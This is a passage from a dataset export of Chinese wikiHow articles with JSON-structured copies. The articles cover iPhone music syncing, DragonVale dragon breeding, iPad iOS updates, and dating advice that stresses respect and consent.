选择“音乐”选项卡中的“所选播放列表”选项。\\n检选您想要同步的播放列表的方框。\\n4-6. 点击位于“音乐”标签左下角的“应用” 。\\n您的iPhone应该会自动开始同步。\\n4-7. 如果没有启动同步，回到iPhone管理页面中的“摘要”选项卡。\\n点击屏幕左下角的“同步”。您的iPhone将更新和播放列表将传送到您的手机。\\n4-8. 等iPhone彻底完成同步再弹出。\\n\\n小提示\\n如果您想手动添加音乐到iPhone ，您可以从iTunes资料库中拖动歌曲到iTunesi侧栏的Phone图标。\\n如果您想使用所有iPhone的储存空间装音乐，选中iTunes音乐页面上用歌曲自动填充可用空间旁边的方框。\\n警告\\n音乐可以占用iPhone很多空间，观看iTunes界面底部的图形，确保您有足够的空间。\\n\", \"简要回答\": \"当您在超市排长队或下班途中被堵在路上，有存储在iPhone的音乐可就好多了。从您的iTunes资料库同步音乐到您的iPhone的音乐文件夹快速又容易。按照下面的步骤来学习如何同步您的iPhone ，并在旅途中听您喜欢的歌曲。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"准备您的电子设备\", \"步骤\": [{\"编号\": 1, \"标题\": \"请确保您的电脑有USB 2 .0接口和iTunes的最新版本。\", \"描述\": \"如果您没有iTunes的最新版本，在计算机上运行的软件更新检查并按照说明下载安装。\\n您也可以访问苹果网站和“ iTunes的”标签下点击“立即下载”按钮。下载iTunes 最新版本。\"}, {\"编号\": 2, \"标题\": \"请确保您Mac上运行Mac OS X 10.6或更高版本。\", \"描述\": \"如果您有一台PC ，请确保您运行的是Windows 7 ， Windows Vista或Windows XP带有Service Pack 3的家庭版或专业版或更高版本。\\n在继续之前先了解如何更新升级Mac的系统软件和更新更新视窗 。\"}]}, {\"编号\": 2, \"标题\": \"连接您的iPhone\", \"步骤\": [{\"编号\": 1, \"标题\": \"连接iPhone之前打开电脑上的iTunes ，以避免识别问题。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"将USB线插入内置于计算机上的端口。\", \"描述\": \"请确保您不要使用键盘上的USB端口或外接式USB集线器的USB端口，而不是计算机。\\n确保没有其他的USB设备占用任何其他端口。\"}, {\"编号\": 3, \"标题\": \"用USB连接线将iPod连接到上。\", \"描述\": \"请确保您使用iPhone附带您苹果基座连接器至USB端口的电缆。\\n如果电脑上正面和背面都有USB端口，连接到电脑背面的端口。\\n连接后如果iTunes无法识别您的iPhone，关闭iTunes并重新打开。\\n如果仍然无法识别您的iPhone ，重新启动计算机，然后重新开始。\"}]}, {\"编号\": 3, \"标题\": \"同步整个音乐库\", \"步骤\": [{\"编号\": 1, \"标题\": \"选择您的iPhone 。\", \"描述\": \"根据您的iTunes版本，iPod要么设在“设备” 下的左侧菜单或在iTunes窗口的右上角。\"}, {\"编号\": 2, \"标题\": \"选择iPhone的管理屏幕上的“音乐”选项卡。\", \"描述\": \"“音乐”选项卡位于“摘要”选项卡的最近左侧。\\n如果运行最新的iTunes 11版本，首先访问iPhone管理屏幕的“摘要”页和单击“选项”中的“此iPhone连接时自动同步”框。\\n请注意，同步整个音乐库将删除在iPhone “音乐”应用程序中的内容，并由iTunes资料库中的同步的内容替换。\"}, {\"编号\": 3, \"标题\": \"找到“同步音乐”方框，单击它，这样会出现一个蓝色的复选标记。\", \"描述\": \"同样，这个方框位于iPhone管理屏幕的“音乐”选项卡。看看 “同步音乐” 下面的选项，并选择适合您用途的功能。\\n要同步整个音乐库，选择“所有歌曲和播放列表”。\\n若要同步个人播放列表，选择“所选播放列表”选项，并选择您想要同步的播放列表。\"}, {\"编号\": 4, \"标题\": \"单击右下角同步选项框下面的“应用”。\", \"描述\": \"iTunes会自动同步您的iPhone 。从现在开始每次您的iPhone连接到电脑时，iTunes会自动同步所有新的音乐到您的iPhone 。如果它不自动同步，浏览到iPhone的“摘要”页，然后单击屏幕右下角的“同步”。\"}, {\"编号\": 5, \"标题\": \"等iPod完成同步，然后断开连接。\", \"描述\": \"请务必在断开基座前，点击位于iPhone名称右侧的弹出箭头，断开在iTunes中的iPhone 。\"}]}, {\"编号\": 4, \"标题\": \"同步播放列表\", \"步骤\": [{\"编号\": 1, \"标题\": \"在iTunes中创建一个新的播放列表。\", \"描述\": \"使用播放列表系统的好处是，您可以手动管理iPhone上的歌曲和监控屏幕底部的存储容量，以免超出iPhone的允许容量。您可以选择屏幕顶部文件选项卡中的“新建播放列表”，或单击iTunes左下角的加号。\"}, {\"编号\": 2, \"标题\": \"适当命名播放列表如“ iPhone音乐。\", \"描述\": \"”这将让您记住，这个播放列表是专为传送音乐到iPhone 的。\"}, {\"编号\": 3, \"标题\": \"从您的音乐库拖放音乐到新的播放列表。\", \"描述\": \"您总是可以很容易地从播放列表中删除歌曲而不要从您的iTunes资料库中删除它们。\"}, {\"编号\": 4, \"标题\": \"在iTunes中选择iPhone管理屏幕上的“音乐”选项卡。\", \"描述\": \"确保“同步音乐”复选框被选中，然后看看下面的选项。\\n如果运行最新的iTunes 11版本，首先访问iPhone管理屏幕的“摘要”页和单击说，在“选项”中的“手动管理音乐和视频”框。\"}, {\"编号\": 5, \"标题\": \"选择“音乐”选项卡中的“所选播放列表”选项。\", \"描述\": \"检选您想要同步的播放列表的方框。\"}, {\"编号\": 6, \"标题\": \"点击位于“音乐”标签左下角的“应用” 。\", \"描述\": \"您的iPhone应该会自动开始同步。\"}, {\"编号\": 7, \"标题\": \"如果没有启动同步，回到iPhone管理页面中的“摘要”选项卡。\", \"描述\": \"点击屏幕左下角的“同步”。您的iPhone将更新和播放列表将传送到您的手机。\"}, {\"编号\": 8, \"标题\": \"等iPhone彻底完成同步再弹出。\", \"描述\": \"\"}], \"小提示\": [\"如果您想手动添加音乐到iPhone ，您可以从iTunes资料库中拖动歌曲到iTunesi侧栏的Phone图标。\\n\", \"如果您想使用所有iPhone的储存空间装音乐，选中iTunes音乐页面上用歌曲自动填充可用空间旁边的方框。\\n\"], \"注意事项\": [\"音乐可以占用iPhone很多空间，观看iTunes界面底部的图形，确保您有足够的空间。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,731 | 如何在龙谷传奇（DragonVale）中繁殖季节龙 | 1. 步骤
1-1. 到繁殖洞穴中，或去史诗育种岛上。
你的养殖场至少要14级，才可能养出这种龙。
1-2. 让两种互兼容的龙配对。
你可以通过含有气、火和草系的龙的组合，来繁殖出季节龙来。一些可能的组合有：
燃烧龙和植物龙。
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焰火龙和植物龙。
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花龙和气龙。
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毒龙和气龙。
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1-3. 等48小时。
蛋的颜色是漩涡颜色形，由红、蓝、紫和绿构成。
可以通过宝石加速孵化过程。
1-4. 把蛋放到孵化屋，等48小时孵化。
1-5. 把季节龙放在合适的栖息地中。
给它喂食，促进生长。用的龙食和其他宝贝龙吃的一样。
小提示
10级以后，每分钟可以赚316硬币（这是没有加速效果下的数据。）
季节变化和北半球的季节对应。
季节龙可以在市场用2000宝石买到。
和所有养龙过程一样，可能要试几次交配才能得到这个龙，多多尝试吧。
可能需要试各种组合，来获得季节龙。
警告
要繁殖季节龙，只能和另一只季节龙搭配养殖。
| {
"create_time": "20230517 11:02:18",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 到繁殖洞穴中，或去史诗育种岛上。\\n你的养殖场至少要14级，才可能养出这种龙。\\n1-2. 让两种互兼容的龙配对。\\n你可以通过含有气、火和草系的龙的组合，来繁殖出季节龙来。一些可能的组合有： \\n燃烧龙和植物龙。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/2\\\\/21\\\\/Breed-a-Seasonal-Dragon-in-DragonVale-Step-2Bullet1.jpg\\\\/v4-460px-Breed-a-Seasonal-Dragon-in-DragonVale-Step-2Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/2\\\\/21\\\\/Breed-a-Seasonal-Dragon-in-DragonVale-Step-2Bullet1.jpg\\\\/v4-609px-Breed-a-Seasonal-Dragon-in-DragonVale-Step-2Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":254,\\\"bigWidth\\\":609,\\\"bigHeight\\\":336,\\\"licensing\\\":\\\"<div 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\"季节龙是按照不同季节出没并居住的传奇龙，这种龙是唯一能根据季节改变颜色、栖息地的龙。其元素属性是火、气和草系的。下面给你几个建议，教你怎么在龙谷传奇中养殖季节龙。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"到繁殖洞穴中，或去史诗育种岛上。\", \"描述\": \"你的养殖场至少要14级，才可能养出这种龙。\"}, {\"编号\": 2, \"标题\": \"让两种互兼容的龙配对。\", \"描述\": \"你可以通过含有气、火和草系的龙的组合，来繁殖出季节龙来。一些可能的组合有： \\n燃烧龙和植物龙。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/2\\\\/21\\\\/Breed-a-Seasonal-Dragon-in-DragonVale-Step-2Bullet1.jpg\\\\/v4-460px-Breed-a-Seasonal-Dragon-in-DragonVale-Step-2Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/2\\\\/21\\\\/Breed-a-Seasonal-Dragon-in-DragonVale-Step-2Bullet1.jpg\\\\/v4-609px-Breed-a-Seasonal-Dragon-in-DragonVale-Step-2Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":254,\\\"bigWidth\\\":609,\\\"bigHeight\\\":336,\\\"licensing\\\":\\\"<div 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\"季节龙可以在市场用2000宝石买到。\\n\", \"和所有养龙过程一样，可能要试几次交配才能得到这个龙，多多尝试吧。\\n\", \"可能需要试各种组合，来获得季节龙。\\n\"], \"注意事项\": [\"要繁殖季节龙，只能和另一只季节龙搭配养殖。\\n\"]}]}}",
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} | wikihow |
14,732 | 如何更新iPad上的iOS软件 | 1. 使用软件更新
1-1. 备份iPad
在大多数情况下，升级iOS系统不会导致数据丢失，但是为了以防万一，最好先备份iPad设备。
1-2. 将iPad连入电源。
用iPad自带的充电线将iPad连接到电源插座或台式电脑上。
1-3. 连接到无线局域网。
如果iOS更新文件很大，你需要将iPad设备连接到无线局域网，才能下载更新文件。
1-4. 打开iPad的“设置”应用程序。
1-5. 向下滑动屏幕，点击 通用选项。
1-6. 点击软件更新。
它位于页面的顶部。
1-7. 点击下载并安装。
如果没有出现这个链接，说明你的系统已更新至最新版本，当前没有可用的更新文件。
1-8. 输入iPad密码。
1-9. 浏览苹果的相关条款和协议。
1-10. 点击同意按钮，系统就会开始下载和安装更新。
所需时间取决于更新文件的内容和大小，还有无线局域网的网速。
1-11. 按照屏幕上的提示重新启动iPad。
2. 使用iTunes
2-1. 下载最新版本的iTunes程序。
如果你想要下载iPad的最新版系统软件，iTunes程序必须更新到最新版本。
2-2. 备份iPad
在大多数情况下，升级iOS系统不会导致数据丢失，但是为了以防万一，最好先备份iPad设备。
2-3. 将iPad设备连接到电脑上。
使用iPad自带的数据线，将数据线USB端口插入电脑，将比较细小的“Lightning”或“30-pin”端口插入iPad设备的充电口。
如果电脑没有自动打开iTunes程序，请自己手动打开。
2-4. 点击iPad图标。
它位于窗口的左上方，工具栏的下方。
2-5. 点击左侧面板的概要。
2-6. 向下滚动屏幕，点击检查更新. 如果有可用的更新文件，iTunes程序会询问你是否想要下载并安装它。
2-7. 点击下载并更新。
iTunes会自动开始下载更新文件，并在完成下载后自动安装更新。
在下载和安装更新的过程中，不可断开设备和电脑的连接。
在这整个过程中，iTunes必须连入互联网。
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"回答明细": "{\"回答\": \"1. 使用软件更新\\n1-1. 备份iPad\\n在大多数情况下，升级iOS系统不会导致数据丢失，但是为了以防万一，最好先备份iPad设备。\\n1-2. 将iPad连入电源。\\n用iPad自带的充电线将iPad连接到电源插座或台式电脑上。\\n1-3. 连接到无线局域网。\\n如果iOS更新文件很大，你需要将iPad设备连接到无线局域网，才能下载更新文件。\\n1-4. 打开iPad的“设置”应用程序。\\n\\n1-5. 向下滑动屏幕，点击 通用选项。\\n\\n1-6. 点击软件更新。\\n它位于页面的顶部。\\n1-7. 点击下载并安装。\\n如果没有出现这个链接，说明你的系统已更新至最新版本，当前没有可用的更新文件。\\n1-8. 输入iPad密码。\\n\\n1-9. 浏览苹果的相关条款和协议。\\n\\n1-10. 点击同意按钮，系统就会开始下载和安装更新。\\n所需时间取决于更新文件的内容和大小，还有无线局域网的网速。\\n1-11. 按照屏幕上的提示重新启动iPad。\\n\\n2. 使用iTunes\\n2-1. 下载最新版本的iTunes程序。\\n如果你想要下载iPad的最新版系统软件，iTunes程序必须更新到最新版本。\\n2-2. 备份iPad\\n在大多数情况下，升级iOS系统不会导致数据丢失，但是为了以防万一，最好先备份iPad设备。\\n2-3. 将iPad设备连接到电脑上。\\n使用iPad自带的数据线，将数据线USB端口插入电脑，将比较细小的“Lightning”或“30-pin”端口插入iPad设备的充电口。\\n如果电脑没有自动打开iTunes程序，请自己手动打开。\\n2-4. 点击iPad图标。\\n它位于窗口的左上方，工具栏的下方。\\n2-5. 点击左侧面板的概要。\\n\\n2-6. 向下滚动屏幕，点击检查更新. 如果有可用的更新文件，iTunes程序会询问你是否想要下载并安装它。\\n\\n2-7. 点击下载并更新。\\niTunes会自动开始下载更新文件，并在完成下载后自动安装更新。\\n在下载和安装更新的过程中，不可断开设备和电脑的连接。\\n在这整个过程中，iTunes必须连入互联网。\\n\", \"简要回答\": \"你可以使用iPad的软件更新程序，或是Mac电脑的iTunes程序来更新iPad系统软件。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用软件更新\", \"步骤\": [{\"编号\": 1, \"标题\": \"备份iPad\", \"描述\": \"在大多数情况下，升级iOS系统不会导致数据丢失，但是为了以防万一，最好先备份iPad设备。\"}, {\"编号\": 2, \"标题\": \"将iPad连入电源。\", \"描述\": \"用iPad自带的充电线将iPad连接到电源插座或台式电脑上。\"}, {\"编号\": 3, \"标题\": \"连接到无线局域网。\", \"描述\": \"如果iOS更新文件很大，你需要将iPad设备连接到无线局域网，才能下载更新文件。\"}, {\"编号\": 4, \"标题\": \"打开iPad的“设置”应用程序。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"向下滑动屏幕，点击 通用选项。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"点击软件更新。\", \"描述\": \"它位于页面的顶部。\"}, {\"编号\": 7, \"标题\": \"点击下载并安装。\", \"描述\": \"如果没有出现这个链接，说明你的系统已更新至最新版本，当前没有可用的更新文件。\"}, {\"编号\": 8, \"标题\": \"输入iPad密码。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"浏览苹果的相关条款和协议。\", \"描述\": \"\"}, {\"编号\": 10, \"标题\": \"点击同意按钮，系统就会开始下载和安装更新。\", \"描述\": \"所需时间取决于更新文件的内容和大小，还有无线局域网的网速。\"}, {\"编号\": 11, \"标题\": \"按照屏幕上的提示重新启动iPad。\", \"描述\": \"\"}]}, {\"编号\": 2, \"标题\": \"使用iTunes\", \"步骤\": [{\"编号\": 1, \"标题\": \"下载最新版本的iTunes程序。\", \"描述\": \"如果你想要下载iPad的最新版系统软件，iTunes程序必须更新到最新版本。\"}, {\"编号\": 2, \"标题\": \"备份iPad\", \"描述\": \"在大多数情况下，升级iOS系统不会导致数据丢失，但是为了以防万一，最好先备份iPad设备。\"}, {\"编号\": 3, \"标题\": \"将iPad设备连接到电脑上。\", \"描述\": \"使用iPad自带的数据线，将数据线USB端口插入电脑，将比较细小的“Lightning”或“30-pin”端口插入iPad设备的充电口。\\n如果电脑没有自动打开iTunes程序，请自己手动打开。\"}, {\"编号\": 4, \"标题\": \"点击iPad图标。\", \"描述\": \"它位于窗口的左上方，工具栏的下方。\"}, {\"编号\": 5, \"标题\": \"点击左侧面板的概要。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"向下滚动屏幕，点击检查更新. 如果有可用的更新文件，iTunes程序会询问你是否想要下载并安装它。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"点击下载并更新。\", \"描述\": \"iTunes会自动开始下载更新文件，并在完成下载后自动安装更新。\\n在下载和安装更新的过程中，不可断开设备和电脑的连接。\\n在这整个过程中，iTunes必须连入互联网。\"}]}]}}",
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14,733 | 如何让一个不想谈恋爱的女生喜欢上你 | 1. 接近你喜欢的女孩
1-1. 思考为什么你希望这个女孩喜欢你。
问问你自己为什么被这个女孩所吸引。例如，她可能会觉得你只是喜欢她的身体或者你对她的喜欢很肤浅，因而避开你。 如果这是她从男人那里得到的唯一关注，她可能会感到厌倦或不满。在接近她之前，先退后一步，确定你想从这段关系中得到什么。接下来，根据以下这些品质判断她是否是合适的恋爱对象：
诚信：她是否诚以待己、诚以待人、值得信赖和可靠？你们是否能坦率说出彼此的的想法和担忧？
情感成熟和自尊心：每个人都不完美，但愿意反思，向过去学习，并展示所学到的东西，都意味着一个人在情感上很成熟。 情感上不成熟的女孩依靠别人才能获得自尊和幸福，任由自己的情绪控制自己的行为。
支持和致力于个人成长：她有自己的兴趣，并积极追求它们，有一个积极的生活态度，即使在面临困难时，也能积极向上。她与家人和朋友保持良好关系，并时时鼓励身边的人。 不过，一个不断将自己的兴趣强行施加于他人，过于好胜或者爱妄下评论的人不会是一个好伴侣。
1-2. 增加自己对女性的吸引力。
想要吸引女孩注意，就得让自己的外表和行为举止都更具魅力。只要做出小小的改变，你不仅可以使自己对女性更具吸引力，还可以提高自信心。让你脱颖而出的往往是一些小事，如养成良好的卫生习惯、友好待人（即使她不在的时候）等。
整理你的仪表：这表明你有自尊，并能照顾好自己。确保你穿着干净整洁的衣服，每天洗澡，将头发梳理得整整齐齐，剃光胡须或将胡须剪短。
养成良好的口腔卫生习惯，每天刷牙两次，避开会引起口臭的食物，如咖啡或大蒜。避免喷过多古龙水或香体喷雾，使用清淡的须后水或除臭剂。
放松，对自己有信心：即使她刚开始看起来对你不感兴趣，也不要因为担心被拒绝，而不敢与你爱慕的人交谈。女孩不喜欢和缺乏自信的男人相处或互动。 而且，女孩们觉得从容淡定、不那么紧张的男人更有吸引力，待在他们身边也更开心。
1-3. 即使你喜欢的女孩看起来并不感兴趣，也要试着和她交谈。
发起对话并与她建立友好关系，让她知道你的存在。 主动出击，表明你对她感兴趣，但不要胡搅蛮缠或咄咄逼人。询问关于她自己或者你感兴趣的话题，比如：“我刚刚开始看（电视节目的名字），你最喜欢的角色是谁，你最喜欢哪一季？” 评论天气、学校或你们正在吃的东西。请求对方帮忙，借此打破沉默，比如请求对方协助你完成一个项目或家庭作业。 避免谈论政治、宗教、过去的恋情或创伤性事件。
交谈时保持目光接触和微笑，以吸引她的注意力。避免语速太快或音调过高，这会让你看起来很紧张。
如果你们并排地走着，最好放慢速度。这会让你看起来更加从容淡定和平易近人。无论是朋友还是男朋友，都应该有这样的好品质。
记得要尊重她。尊重她保持单身的决定。继续前进，但不要质疑她的决定。意识到每个人都会有不同的见解，这点很重要。
1-4. 不要前后矛盾。
这里指的是自我评价与他人评价之间存在差距。 她对与你建立恋爱关系不感兴趣的原因之一可能是你总是前后矛盾。例如，你不断吹嘘自己的恋爱经历或表现出对其他女人的兴趣，或者你经常放朋友鸽子。
自我称赞，但不要吹牛。提及你所引以为傲的成就，或者你树立过的目标以及你如何实现它们。例如：“英语作业或数学测试很难，但是我努力学习还是得到了回报”，或者“我半个月的训练在这次的半程马拉松中得到了回报，也许我明年将会参加全程马拉松”。
更加真诚坦率地表达你的感受。也不要表现得冷漠或悲观。规定自己每天对别人说一件积极的事情。
1-5. 做对方的好朋友。
如果她真的对恋爱不感兴趣，或者她的生活中发生了一些事情，家庭、学校、工作、健康问题等等，导致她不想开始一段感情，你能做的就是当她的好朋友和知己。你想要帮助她，但不要表现得很傲慢。 如果她面临某些个人问题，如亲人的死亡或疾病，这一点尤其重要。
给她空间，并尊重她的隐私。不要试图解决她的问题，或不断提供建议。只要让她知道你一直在身边，并愿意聆听就够了。
做个好听众。不要提意见，并压抑住自己想帮她解决所有问题的冲动。让对方将事情说出来，让她与自我达成和解。
安排一群人的活动，并叫上她。主动提出去接她或给她买单。简单的善举只要没有附加条件，都会有很大的帮助。
2. 邀约
2-1. 在非正式的场合中了解她。
如果你们已经是朋友，想进一步发展，那就忽略这一步。但是，如果你们刚刚认识或只是泛泛之交，不妨和她在一个小群体中一起度过一些时间，或间接约会。 你得有一个好的开端或开场白。每当看到她时，都要目光接触，微笑，并打招呼。接下来，开展寻常的对话。赞美她的成就，或者询问她的兴趣（音乐、电影、书籍、爱好等）。 以寻常的对话作为出发点，建立志同道合的亲密关系。
耐心一点。有些女孩天生比较喜欢展现自己，而且很健谈，而另一些女孩起初可能比较害羞或犹豫不决。
千万不要使用俗气的搭讪词。这不仅会给人留下不好的印象，也会令人反感。
2-2. 邀请女孩出去。
你可以直接问她，或者用更间接的方法，比如问她这个周末准备做什么，她是否有什么计划。 选择哪种方法取决于具体情况与对方的性格。其他间接邀约的例子包括询问她是否去过某家餐馆，是否想和你一起去看看；或者把它说成是一个机会，例如“我们这个周末都有空，天气也很好，为什么不一起做点什么呢？”记住，在这个阶段，你只是邀请她出去约会，看电影、听音乐会或吃晚餐等，而不是问她是否愿意做你的女朋友。
清楚地表明你只是想和她出去约会。不要谈及交往的问题，或问她是否愿意做你的女朋友。
邀请她出去约会时，不要堵住她或让她有被压迫感。她可能会因为感到不舒服和恐惧而拒绝你。
如果她看起来不愿意和你约会，邀请她和一群朋友一起做点什么。 与几个朋友组织野餐，或者去吃晚饭和看电影。
2-3. 在第一次约会时，给对方留下好印象。
在你们第一次约会或者第一次出去玩时，你的目标应该是确保她玩得开心，清晰而不夸张地表达你的感受，不要尝试太奢侈、昂贵或浪漫的东西。和一群人出去或两个人在一起在公共场所做点什么，而不是邀请她独自陪伴你。 主动决定你们要做什么，以及那天要去哪里。 提前做好功课，询问她是否有食物偏好，必要时进行预约，避免去高档昂贵的地方。
在你的外表上下功夫。洗头和梳发，刷牙，不要喷太多古龙水，穿干净、不皱的衣服。
不要过度沉迷于酒精，要体贴周到，举止有礼貌，包括不过分主导对话，关闭手机，给予她充分的关注，并友好对待他人。
避免讨论有争议的话题，比如政治、过去的恋情，对工作的抱怨或者性。 相反，要把重点集中在诸如新闻和时事、家庭、旅行（无论是你曾经去过的地方，还是将来想要去的地方），或者你们对爱情的想法，以及探讨构成了良好恋爱关系的要素等话题上。
3. 让她喜欢上你
3-1. 加深你与对方和她朋友的友谊。
友谊是良好恋情的基础。成为好朋友的第一步就是关注她和她朋友们所说的话。避免只谈论你自己和你的兴趣。不要看起来无聊或分心，给她你全部的注意力。当她说话的时候，收起你的手机，并且保持眼神交流。 虽然做一个好朋友可能会适得其反，使你被她归类到“朋友区”，但更多的时候，这是表达你善良、有同情心和坚定的一种方式。
3-2. 揶揄戏弄对方。
建立亲密关系后，轻微的戏弄能表明你对她的喜爱。 比如，编造一个去他国旅行遇到的趣事或假装你家闹鬼。以一种轻松的方式嘲笑她的音乐品味，或她喜欢的奇特食品，但紧接着要加上你对她的赞美。
你还可以轻轻地挠她痒痒；把手放在对方眼睛上，然后说“猜猜我是谁”；或者在背部或手臂上轻轻地推一下。
用夸张的语气和音调、面部表情或微笑来表明你只是在开玩笑。
3-3. 试着和她调情。
调情要从一些细微的事情开始，比如眼神交流，面带微笑，然后快速移开视线。 你也可以赞美她，或像旧时代的绅士一样为她开门、买咖啡或拿着书。 如果你们彼此了解，相处起来很自在，可以尝试帮她拨开脸上的一缕头发，给她一个拥抱，或者坐在她旁边。如果她对你感兴趣，她会开始回应你。
3-4. 使用“欲擒故纵”的技巧。
表现得过分依赖对方，太粘人或太着急，都会使女孩不喜欢你。如果你们的关系停滞不前，考虑给她一些空间。 开始和其他女孩交流，并使用“欲擒故纵”的技巧。给对方一些挑战，让自己看起来更有魅力。
在恋爱关系刚开始的时候，保留一些你的感受。保持神秘感和不确定性，能让事情变得有趣，也许可以营造浪漫的感觉。 例如，不要告诉她你有多喜欢她，不要在第一次出去约会时一起谈论你们的“未来”。
给她一些空间。 虽然不要在和她已经约好了的情况下放她的鸽子，但也不要每天给她打电话或者发短信。你的缺席可能会让她意识到她有多在乎你。
3-5. 考虑保持非正经谈恋爱的关系。
如果你们相互喜欢，但是担心或害怕承诺，随时都可以达成协议，保持一种随性的恋爱关系。这种恋爱关系不具排他性。 虽然你们会不定期见面，但是你仍旧可以与其他人调情或出去约会。特别是当你处于18至24岁间，开放、随意的恋爱关系可以帮助你在情感上快速成长，并且更能适应与异性的相处。 在非正经谈恋爱的关系中，一定要定下基本规则来降低双方受伤的风险：
是否可以在公共场合约会？
这段关系公开还是保密？
如果双方中的一方爱上了其他人，应该怎么做？你们是否需要告知对方这件事？
你们想平时多久见一次？什么时间发短信或打电话比较方便？
不要问那些盛气凌人或者指控性的问题，比如“你现在一共和多少人约会？ ”“你昨晚在哪？”“你为什么不回我的电话？”“我可以在Facebook上加你吗？”
如果你不同意这些条件，你可能不应该追求一段非正经的恋爱关系。 告诉她你的感受，让她知道你对她很感兴趣，但如果她不愿意发展更认真的恋情，你们应该保持朋友关系。
小提示
最重要的是真诚地尊重她。尊重她的想法、感受和兴趣。了解她的喜恶，就能展现出自己不仅仅是“另一个普通的男人”。
对任何类型的恋爱关系都毫无兴趣的人可能是因为受过伤。 不要强迫他们，不要使用“恋爱”或“进一步发展”的字眼。 在受伤的人敞开心扉之前，你得闲和她建立稳固的友情。
提升自我。你的才华、兴趣和善良的天性会让你更具吸引力。 将重点重新放回到提升自己的魅力上，而不要强迫某个人喜欢你。你最后会得到一个更好的人！
尊重她的决定，她有拒绝的权利。强扭的瓜不甜。
坦诚说出自己的感受。约过几次会后，如果你仍然不知道她对你的感觉如何，那就由自己来掌控这件事吧。隐晦地表达你的感受。夸张或浪漫的言语行为可能会太过激进。
有些女孩在生活中还有其它优先注重的事情，比如他们将自己的学业、工作、家庭义务、宗教信仰或者运动排在恋爱关系之前。
当你尝图与一个“不准备恋爱的女孩”建立关系时，不要把整个生活都搁置一旁。 毕竟你也不想因为等待一个人而错过了另一个好女孩。
有些女孩不想与你建立专属关系或浪漫关系。 做一个亲密的朋友对她来说已经足够了。如果你们一直保持密切关系，之后或许会有更多的可能性。现在，不要强求任何事，尊重她的决定。
如果她决定不与你交往，不要太在意。把这当作学习经验，然后往前看。[47]
X
研究来源
警告
如果她直接告诉你“我现在对恋爱不感兴趣”，或者“我已经有一个男朋友”，这暗示着她对和你交往没有兴趣。[48]
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研究来源
[49]
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研究来源
别让自己被对付操纵、羞辱或者被利用。 恋爱应该是互惠互利的 。如果她认为你对她好是理所当然的，或者过于依赖你，可能意味着她不是真的喜欢你。[50]
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研究来源
不当的评论、对方不想要的挑逗或触摸，或者猥亵的做法都是不对的，可能构成性骚扰。[51]
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研究来源
[52]
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研究来源
不要强迫女孩在约会时做任何有关性的事情，或者趁她醉酒占她的便宜。强奸和约会强暴是严重的刑事犯罪。[53]
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研究来源
[54]
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研究来源
[55]
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可靠来源
US Office on Women's Health
前往来源
女孩有权给你们的关系划定界限。尊重她的权利。如果她决定与其他人约会，也请尊重她。[56]
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研究来源
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虽然做一个好朋友可能会适得其反，使你被她归类到“朋友区”，但更多的时候，这是表达你善良、有同情心和坚定的一种方式。\\n3-2. 揶揄戏弄对方。\\n建立亲密关系后，轻微的戏弄能表明你对她的喜爱。 比如，编造一个去他国旅行遇到的趣事或假装你家闹鬼。以一种轻松的方式嘲笑她的音乐品味，或她喜欢的奇特食品，但紧接着要加上你对她的赞美。\\n你还可以轻轻地挠她痒痒；把手放在对方眼睛上，然后说“猜猜我是谁”；或者在背部或手臂上轻轻地推一下。\\n用夸张的语气和音调、面部表情或微笑来表明你只是在开玩笑。\\n3-3. 试着和她调情。\\n调情要从一些细微的事情开始，比如眼神交流，面带微笑，然后快速移开视线。 你也可以赞美她，或像旧时代的绅士一样为她开门、买咖啡或拿着书。 如果你们彼此了解，相处起来很自在，可以尝试帮她拨开脸上的一缕头发，给她一个拥抱，或者坐在她旁边。如果她对你感兴趣，她会开始回应你。\\n3-4. 使用“欲擒故纵”的技巧。\\n表现得过分依赖对方，太粘人或太着急，都会使女孩不喜欢你。如果你们的关系停滞不前，考虑给她一些空间。 开始和其他女孩交流，并使用“欲擒故纵”的技巧。给对方一些挑战，让自己看起来更有魅力。\\n在恋爱关系刚开始的时候，保留一些你的感受。保持神秘感和不确定性，能让事情变得有趣，也许可以营造浪漫的感觉。 例如，不要告诉她你有多喜欢她，不要在第一次出去约会时一起谈论你们的“未来”。\\n给她一些空间。 虽然不要在和她已经约好了的情况下放她的鸽子，但也不要每天给她打电话或者发短信。你的缺席可能会让她意识到她有多在乎你。\\n3-5. 考虑保持非正经谈恋爱的关系。\\n如果你们相互喜欢，但是担心或害怕承诺，随时都可以达成协议，保持一种随性的恋爱关系。这种恋爱关系不具排他性。 虽然你们会不定期见面，但是你仍旧可以与其他人调情或出去约会。特别是当你处于18至24岁间，开放、随意的恋爱关系可以帮助你在情感上快速成长，并且更能适应与异性的相处。 在非正经谈恋爱的关系中，一定要定下基本规则来降低双方受伤的风险：\\n是否可以在公共场合约会？\\n这段关系公开还是保密？\\n如果双方中的一方爱上了其他人，应该怎么做？你们是否需要告知对方这件事？\\n你们想平时多久见一次？什么时间发短信或打电话比较方便？\\n不要问那些盛气凌人或者指控性的问题，比如“你现在一共和多少人约会？ ”“你昨晚在哪？”“你为什么不回我的电话？”“我可以在Facebook上加你吗？”\\n如果你不同意这些条件，你可能不应该追求一段非正经的恋爱关系。 